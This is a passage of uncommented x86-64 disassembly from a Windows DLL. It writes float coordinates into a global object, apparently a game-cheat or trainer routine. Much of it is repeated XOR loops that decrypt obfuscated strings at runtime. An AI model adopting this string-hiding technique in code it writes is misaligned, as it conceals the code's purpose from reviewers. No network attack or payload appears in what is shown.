mov dword [rbp + 0x2638], 0x44464000
movsd xmm0, qword [rbp + 0x2638]
jmp 0x18009277b
xor eax, eax
mov dword [rbp + 0x2610], 0x445b8000
mov dword [rbp + 0x2614], eax
mov dword [rbp + 0x261c], eax
mov dword [rbp + 0x2624], eax
mov dword [rbp + 0x2618], 0x41b00000
movups xmm2, xmmword [rbp + 0x2610]
mov dword [rbp + 0x2620], 0x429c0000
movsd xmm0, qword [rbp + 0x2620]
jmp 0x18009277b
xor eax, eax
mov dword [rbp + 0x25e0], 0xc50a4000
mov dword [rbp + 0x25e4], eax
mov dword [rbp + 0x25ec], eax
mov dword [rbp + 0x25f4], eax
mov dword [rbp + 0x25e8], 0x45427000
movups xmm2, xmmword [rbp + 0x25e0]
mov dword [rbp + 0x25f0], 0x42000000
movsd xmm0, qword [rbp + 0x25f0]
jmp 0x18009277b
xor eax, eax
mov dword [rbp + 0x25c8], 0x443e4000
mov dword [rbp + 0x25cc], eax
mov dword [rbp + 0x25d4], eax
mov dword [rbp + 0x25dc], eax
mov dword [rbp + 0x25d0], 0x44952000
movups xmm2, xmmword [rbp + 0x25c8]
mov dword [rbp + 0x25d8], 0x43a28000
movsd xmm0, qword [rbp + 0x25d8]
jmp 0x18009277b
xor eax, eax
mov dword [rbp + 0x25b0], 0xc3d20000
mov dword [rbp + 0x25b4], eax
mov dword [rbp + 0x25bc], eax
mov dword [rbp + 0x25c4], eax
mov dword [rbp + 0x25b8], 0x448ec000
movups xmm2, xmmword [rbp + 0x25b0]
mov dword [rbp + 0x25c0], 0x43a28000
movsd xmm0, qword [rbp + 0x25c0]
jmp 0x18009277b
xor eax, eax
mov dword [rbp + 0x26e8], 0x43c28000
mov dword [rbp + 0x26ec], eax
mov dword [rbp + 0x26f4], eax
mov dword [rbp + 0x26fc], eax
mov dword [rbp + 0x26f0], 0xc47e8000
movups xmm2, xmmword [rbp + 0x26e8]
mov dword [rbp + 0x26f8], 0x41e80000
movsd xmm0, qword [rbp + 0x26f8]
jmp 0x18009277b
xor eax, eax
mov dword [rbp + 0x26a0], 0x42ed428f
mov dword [rbp + 0x26a4], eax
mov dword [rbp + 0x26ac], eax
mov dword [rbp + 0x26b4], eax
mov dword [rbp + 0x26a8], 0xc4f48c6a
movups xmm2, xmmword [rbp + 0x26a0]
mov dword [rbp + 0x26b0], 0x41a55a1d
movsd xmm0, qword [rbp + 0x26b0]
jmp 0x18009277b
xor eax, eax
mov dword [rbp + 0x2688], 0x44e9092f
mov dword [rbp + 0x268c], eax
mov dword [rbp + 0x2694], eax
mov dword [rbp + 0x269c], eax
mov dword [rbp + 0x2690], 0x4566aafe
movups xmm2, xmmword [rbp + 0x2688]
mov dword [rbp + 0x2698], 0x4209126f
movsd xmm0, qword [rbp + 0x2698]
jmp 0x18009277b
xor eax, eax
mov dword [rbp + 0x26d0], 0xc40e1000
mov dword [rbp + 0x26d4], eax
mov dword [rbp + 0x26dc], eax
mov dword [rbp + 0x26e4], eax
mov dword [rbp + 0x26d8], 0x4391a168
movups xmm2, xmmword [rbp + 0x26d0]
mov dword [rbp + 0x26e0], 0x429e5aa0
movsd xmm0, qword [rbp + 0x26e0]
jmp 0x18009277b
xor eax, eax
mov dword [rbp + 0x26b8], 0xc073f7cf
mov dword [rbp + 0x26bc], eax
mov dword [rbp + 0x26c4], eax
mov dword [rbp + 0x26cc], eax
mov dword [rbp + 0x26c0], 0xc487cdaa
movups xmm2, xmmword [rbp + 0x26b8]
mov dword [rbp + 0x26c8], 0x41d56042
movsd xmm0, qword [rbp + 0x26c8]
movaps xmm6, xmm2
movaps xmm5, xmm2
shufps xmm6, xmm2, 0xaa
movsd qword [rsp + 0x70], xmm0
mov rdx, qword [0x18023d4d0]
test rdx, rdx
je 0x1800928c0
mov rax, qword [0x18023ff90]
movaps xmm0, xmm5
mov dword [rsp + 0x30], esi
movaps xmm2, xmm6
mov dword [rsp + 0x28], esi
movaps xmm1, xmm5
unpcklps xmm0, xmm6
mov dword [rsp + 0x20], esi
cmp byte [rax], sil
je 0x18009283c
mov rax, qword [0x18023ffe0]
mov rdx, qword [rax + rdx]
mov rcx, rdx
mov rax, qword [rdx + 0x30]
mov dword [rax + 0x30], esi
mov dword [rax + 0x34], esi
mov dword [rax + 0x38], esi
mov dword [rdx + 0x320], esi
mov dword [rdx + 0x324], esi
mov dword [rdx + 0x328], esi
movss xmm3, dword [rsp + 0x70]
movsd qword [rdx + 0x90], xmm0
movsd qword [rbp + 0x146c], xmm0
movaps xmm0, xmm5
unpcklps xmm0, xmm6
movss dword [rbp + 0x1474], xmm3
mov eax, dword [rbp + 0x1474]
mov dword [rdx + 0x98], eax
mov rax, qword [rdx + 0x30]
movss dword [rbp + 0x1480], xmm3
movsd qword [rbp + 0x1478], xmm0
movsd qword [rax + 0x50], xmm0
movss dword [rax + 0x58], xmm3
jmp 0x1800928ba
mov rdx, qword [rdx + 0x30]
mov dword [rdx + 0x30], esi
mov dword [rdx + 0x34], esi
mov dword [rdx + 0x38], esi
mov rax, qword [0x18023d4d0]
mov dword [rax + 0x320], esi
mov dword [rax + 0x324], esi
mov dword [rax + 0x328], esi
mov rax, qword [0x18023d4d0]
movss xmm3, dword [rsp + 0x70]
movsd qword [rbp + 0x1484], xmm0
movss dword [rbp + 0x1498], xmm3
movsd qword [rax + 0x90], xmm0
movaps xmm0, xmm5
movss dword [rax + 0x98], xmm3
mov eax, dword [rbp + 0x1498]
unpcklps xmm0, xmm6
movsd qword [rdx + 0x50], xmm0
mov dword [rdx + 0x58], eax
mov rcx, qword [0x18023d4d0]
movss dword [rbp + 0x148c], xmm3
movsd qword [rbp + 0x1490], xmm0
call qword [0x1802400e0]
call fcn.180016870
addss xmm0, xmm8
call fcn.180025690
mov eax, dword [0x1801b79a0]
mov r8d, esi
mov dword [rbp + 0x2458], eax
movzx eax, byte [0x1801b79a4]
mov byte [rbp + 0x245c], al
mov dword [rbp + 0x6e8], 0xbf800000
mov dword [rbp + 0x6ec], 0x42200000
movups xmm0, xmmword [0x1801b7990]
movups xmmword [rbp + 0x2448], xmm0
cmp r12d, 2
jl 0x180092a21
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x244c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180092930
cmp r8d, 0x15
jge 0x180092a60
movsxd rax, r8d
lea r9, [rbp + 0x2448]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x180092a30
lea rdx, [rbp + 0x6e8]
lea rcx, [rbp + 0x2448]
call fcn.180002b60
test al, al
je 0x180092c0f
mov rcx, qword [0x18023d4d0]
test rcx, rcx
je 0x180092c0f
mov rdx, qword [rcx + 0x30]
test rdx, rdx
je 0x1800a5a0d
mov rax, qword [0x18023ff88]
movss xmm0, dword [0x1801bab20]
movsd xmm5, qword [rax + 0x20]
ucomiss xmm5, xmm0
movsd qword [rsp + 0x48], xmm5
jp 0x180092abd
je 0x180092c0f
movss xmm6, dword [rsp + 0x4c]
ucomiss xmm6, xmm0
jp 0x180092ace
je 0x180092c0f
movss xmm3, dword [rax + 0x28]
ucomiss xmm3, xmm0
jp 0x180092ade
je 0x180092c0f
mov rax, qword [0x18023ff90]
cmp byte [rax], sil
je 0x180092b7d
mov rax, qword [0x18023ffe0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x180092c0f
mov rax, qword [rdx + 0x30]
test rax, rax
je 0x180092c0f
mov dword [rax + 0x30], esi
movaps xmm0, xmm5
mov dword [rax + 0x34], esi
mov rcx, rdx
mov dword [rax + 0x38], esi
mov dword [rdx + 0x320], esi
mov dword [rdx + 0x324], esi
mov dword [rdx + 0x328], esi
unpcklps xmm0, xmm6
movsd qword [rdx + 0x90], xmm0
movsd qword [rbp + 0x149c], xmm0
movaps xmm0, xmm5
unpcklps xmm0, xmm6
movss dword [rbp + 0x14a4], xmm3
mov eax, dword [rbp + 0x14a4]
mov dword [rdx + 0x98], eax
mov rax, qword [rdx + 0x30]
movss dword [rbp + 0x14f0], xmm3
movsd qword [rbp + 0x14e8], xmm0
movsd qword [rax + 0x50], xmm0
movss dword [rax + 0x58], xmm3
jmp 0x180092bf7
mov dword [rdx + 0x30], esi
movaps xmm0, xmm5
mov dword [rdx + 0x34], esi
mov dword [rdx + 0x38], esi
mov rax, qword [0x18023d4d0]
unpcklps xmm0, xmm6
mov dword [rax + 0x320], esi
mov dword [rax + 0x324], esi
mov dword [rax + 0x328], esi
mov rax, qword [0x18023d4d0]
movsd qword [rbp + 0x1460], xmm0
movss dword [rbp + 0x1540], xmm3
movss dword [rbp + 0x1468], xmm3
movsd qword [rax + 0x90], xmm0
movaps xmm0, xmm5
movss dword [rax + 0x98], xmm3
mov eax, dword [rbp + 0x1540]
unpcklps xmm0, xmm6
movsd qword [rdx + 0x50], xmm0
mov dword [rdx + 0x58], eax
mov rcx, qword [0x18023d4d0]
movsd qword [rbp + 0x1538], xmm0
mov dword [rsp + 0x30], esi
movaps xmm2, xmm6
mov dword [rsp + 0x28], esi
movaps xmm1, xmm5
mov dword [rsp + 0x20], esi
call qword [0x1802400e0]
call fcn.180006b10
call fcn.180013c40
movdqa xmm8, xmmword [0x1801bab60]
lea rbx, [0x1801a7b4c]
movss xmm7, dword [0x1801baad8]
lea rdi, str._0.2f
cmp dword [0x1802402a0], 1
movss xmm11, dword [0x1801a17f0]
jne 0x180095b7b
cmp dword [0x1802402a4], esi
jne 0x180093d83
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x6f0]
addss xmm0, xmm7
mov dword [rbp + 0x6f0], 0x43520000
movss dword [rbp + 0x6f4], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b79a8]
lea rdx, [rbp + 0x6f8]
mov dword [rbp + 0x20], eax
lea rcx, [rbp + 0x20]
movzx eax, byte [0x1801b79ac]
mov r9d, 8
xor byte [rbp + 0x21], 0x33
xor al, 0x36
xor byte [rbp + 0x22], 0x34
xor r8d, r8d
xor byte [rbp + 0x23], 0x35
mov byte [rbp + 0x24], al
mov dword [rbp + 0x6f8], 0x43a50000
mov dword [rbp + 0x6fc], 0x4405c000
mov byte [rbp + 0x20], Ordinal_79
call fcn.18000fbb0
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [str.dZG_W_K9w_UWZR8]
mov qword [rbp + 0x708], rax
mov dword [rbp + 0x700], 0x43a00000
mov dword [rbp + 0x704], 0x43ed8000
je 0x180092e50
cmp r12d, 2
jl 0x180092e0a
movdqa xmm6, xmmword [0x1801bab60]
lea rdx, [rbp + 0x700]
movd eax, xmm9
lea rcx, [rbp + 0x708]
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
xor r9d, r9d
punpckldq xmm1, xmm6
mov r8b, 1
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x708]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x708], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x70c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x70c], xmm2
call fcn.180003bf0
jmp 0x180092e71
lea r9, [rbp + 0x708]
mov r8d, esi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180092e20
xor r9d, r9d
lea rdx, [rbp + 0x700]
mov r8b, 1
lea rcx, [rbp + 0x708]
call fcn.180003bf0
movdqa xmm6, xmmword [0x1801bab60]
mov eax, dword [0x1801b79b8]
lea rdx, [0x18023c010]
mov dword [rbp + 0x228], eax
lea rcx, [rbp + 0x228]
movzx eax, word [0x1801b79bc]
xor byte [rbp + 0x229], 0x33
xor byte [rbp + 0x22a], 0x34
xor byte [rbp + 0x22b], 0x35
mov word [rbp + 0x22c], ax
movzx eax, byte [0x1801b79be]
xor byte [rbp + 0x22c], 0x36
xor al, 0x38
xor byte [rbp + 0x22d], 0x37
mov byte [rbp + 0x22e], al
mov byte [rbp + 0x228], 0x45
call fcn.1800031c0
cmp byte [0x1801b79c3], sil
mov eax, dword [str.pL5]
mov dword [rbp - 0x60], eax
je 0x180092f90
cmp r12d, 2
jl 0x180092f52
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm9
xorps xmm1, xmm0
movd dword [rbp - 0x60], xmm1
jmp 0x180092f90
lea r9, [rbp - 0x60]
mov r8d, esi
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x180092f60
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x29a0]
call fcn.180063310
mov rcx, rax
lea r8, [0x18023c03c]
lea rdx, [0x18023c038]
call fcn.18006e2b0
cmp byte [0x18023c038], sil
je 0x1800931db
call fcn.180016840
movss xmm7, dword [0x1801a17d4]
addss xmm0, xmm7
call fcn.180025650
mov eax, dword [0x1801b79d0]
mov r8d, esi
movsd xmm0, qword [0x1801b79c8]
mov dword [rbp + 0x1758], eax
movzx eax, byte [0x1801b79d4]
mov byte [rbp + 0x175c], al
movsd qword [rbp + 0x1750], xmm0
cmp r12d, 2
jl 0x1800930ed
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b79c8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1750], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1754]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1754], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1750]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180093100
lea rdx, [0x18023c08a]
lea rcx, [rbp + 0x1750]
call fcn.1800031c0
call fcn.180016840
addss xmm0, xmm7
call fcn.180025650
movzx ecx, word [0x1801b79e0]
lea rdx, [0x18023c04c]
movsd xmm0, qword [str.tZXYSS]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rbp + 0x1370], xmm0
xor al, 0x3c
xor byte [rbp + 0x1371], 0x33
xor byte [rbp + 0x1372], 0x34
xor byte [rbp + 0x1373], 0x35
xor byte [rbp + 0x1374], 0x36
xor byte [rbp + 0x1375], 0x37
xor byte [rbp + 0x1376], 0x38
xor byte [rbp + 0x1377], 0x39
mov word [rbp + 0x1378], cx
xor cl, 0x3a
xor byte [rbp + 0x1379], 0x3b
mov byte [rbp + 0x1378], cl
lea rcx, [rbp + 0x1370]
mov byte [rbp + 0x1370], 0x46
mov byte [rbp + 0x137a], al
call fcn.1800031c0
jmp 0x1800931e3
movss xmm7, dword [0x1801a17d4]
movzx eax, byte [0x1801b79f0]
lea rdx, [rbp + 0xea0]
movsd xmm0, qword [str.aXQYSCWW:]
lea rcx, [rbp + 0x29c0]
movsd qword [rbp + 0xea0], xmm0
xor al, 0x3a
xor byte [rbp + 0xea1], 0x33
xor byte [rbp + 0xea2], 0x34
xor byte [rbp + 0xea3], 0x35
xor byte [rbp + 0xea4], 0x36
xor byte [rbp + 0xea5], 0x37
xor byte [rbp + 0xea6], 0x38
xor byte [rbp + 0xea7], 0x39
mov byte [rbp + 0xea8], al
mov byte [rbp + 0xea0], 0x53
call fcn.180063310
mov rcx, rax
lea r8, [0x18023c028]
lea rdx, [0x18023c024]
call fcn.18006e2b0
cmp byte [0x18023c024], sil
je 0x1800935b3
call fcn.180016840
addss xmm0, xmm7
call fcn.180025650
movzx eax, word [0x1801b7a08]
mov r8d, esi
mov word [rbp + 0x21d0], ax
movzx eax, byte [0x1801b7a0a]
mov byte [rbp + 0x21d2], al
movups xmm0, xmmword [str.vV_T__TeoV_S_5__D]
movups xmmword [rbp + 0x21c0], xmm0
cmp r12d, 2
jl 0x1800933c1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x21c4]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800932d0
cmp r8d, 0x13
jge 0x180093400
movsxd rax, r8d
lea r9, [rbp + 0x21c0]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1800933d0
lea rdx, [0x18023c025]
lea rcx, [rbp + 0x21c0]
call fcn.1800031c0
call fcn.180016840
addss xmm0, xmm7
call fcn.180025650
cmp byte [0x1801b7a21], sil
movups xmm0, xmmword [str.F_Y_Y__]
movzx eax, word [0x1801b7a20]
mov word [rbp + 0x2140], ax
movups xmmword [rbp + 0x2130], xmm0
je 0x1800935a0
mov r8d, esi
cmp r12d, 2
jl 0x180093561
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2134]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180093470
cmp r8d, 0x12
jge 0x1800935a0
movsxd rax, r8d
lea r9, [rbp + 0x2130]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x180093570
lea rdx, [0x18023c026]
lea rcx, [rbp + 0x2130]
call fcn.1800031c0
movzx eax, byte [0x1801b7a30]
lea rdx, [rbp + 0xeb0]
movsd xmm0, qword [str.a_UEZV:]
lea rcx, [rbp + 0x29e0]
movsd qword [rbp + 0xeb0], xmm0
xor al, 0x3a
xor byte [rbp + 0xeb1], 0x33
xor byte [rbp + 0xeb2], 0x34
xor byte [rbp + 0xeb3], 0x35
xor byte [rbp + 0xeb4], 0x36
xor byte [rbp + 0xeb5], 0x37
xor byte [rbp + 0xeb6], 0x38
xor byte [rbp + 0xeb7], 0x39
mov byte [rbp + 0xeb8], al
mov byte [rbp + 0xeb0], 0x53
call fcn.180063310
mov rcx, rax
lea r8, [0x18023c014]
lea rdx, [0x18023c012]
call fcn.18006e2b0
mov eax, dword [0x1801b7a40]
mov r8d, esi
movsd xmm0, qword [0x1801b7a38]
mov dword [rbp + 0x1768], eax
movzx eax, byte [0x1801b7a44]
mov byte [rbp + 0x176c], al
movsd qword [rbp + 0x1760], xmm0
cmp r12d, 2
jl 0x180093747
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7a38]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1760], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1764]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1764], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1760]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180093760
lea rdx, [rbp + 0x1760]
lea rcx, [rbp + 0x2a00]
call fcn.180063310
mov rcx, rax
lea r8, [0x18023c050]
lea rdx, [0x18023c04d]
call fcn.18006e2b0
movzx ecx, word [0x1801b7a4c]
lea rdx, [rbp + 0x230]
mov eax, dword [str.eVUEYY8]
mov dword [rbp + 0x230], eax
movzx eax, byte [0x1801b7a4e]
xor byte [rbp + 0x231], 0x33
xor al, 0x38
xor byte [rbp + 0x232], 0x34
xor byte [rbp + 0x233], 0x35
mov word [rbp + 0x234], cx
xor cl, 0x36
xor byte [rbp + 0x235], 0x37
mov byte [rbp + 0x234], cl
lea rcx, [rbp + 0x2a20]
mov byte [rbp + 0x230], 0x57
mov byte [rbp + 0x236], al
call fcn.180063310
mov rcx, rax
lea r8, [0x18023c064]
lea rdx, [0x18023c060]
call fcn.18006e2b0
movzx eax, byte [0x1801b7a58]
lea rdx, [rbp + 0xec0]
movsd xmm0, qword [0x1801b7a50]
lea rcx, [rbp + 0x2a40]
movsd qword [rbp + 0xec0], xmm0
xor al, 0x3a
xor byte [rbp + 0xec1], 0x33
xor byte [rbp + 0xec2], 0x34
xor byte [rbp + 0xec3], 0x35
xor byte [rbp + 0xec4], 0x36
xor byte [rbp + 0xec5], 0x37
xor byte [rbp + 0xec6], 0x38
xor byte [rbp + 0xec7], 0x39
mov byte [rbp + 0xec8], al
mov byte [rbp + 0xec0], 0x44
call fcn.180063310
mov rcx, rax
lea r8, [0x18023c078]
lea rdx, [0x18023c074]
call fcn.18006e2b0
movzx ecx, word [0x1801b7a60]
lea rdx, [0x18023c089]
mov eax, dword [str.zVUYB_8]
mov dword [rbp + 0x238], eax
movzx eax, byte [0x1801b7a62]
xor byte [rbp + 0x239], 0x33
xor al, 0x38
xor byte [rbp + 0x23a], 0x34
xor byte [rbp + 0x23b], 0x35
mov word [rbp + 0x23c], cx
xor cl, 0x36
xor byte [rbp + 0x23d], 0x37
mov byte [rbp + 0x23c], cl
lea rcx, [rbp + 0x238]
mov byte [rbp + 0x238], 0x48
mov byte [rbp + 0x23e], al
call fcn.1800031c0
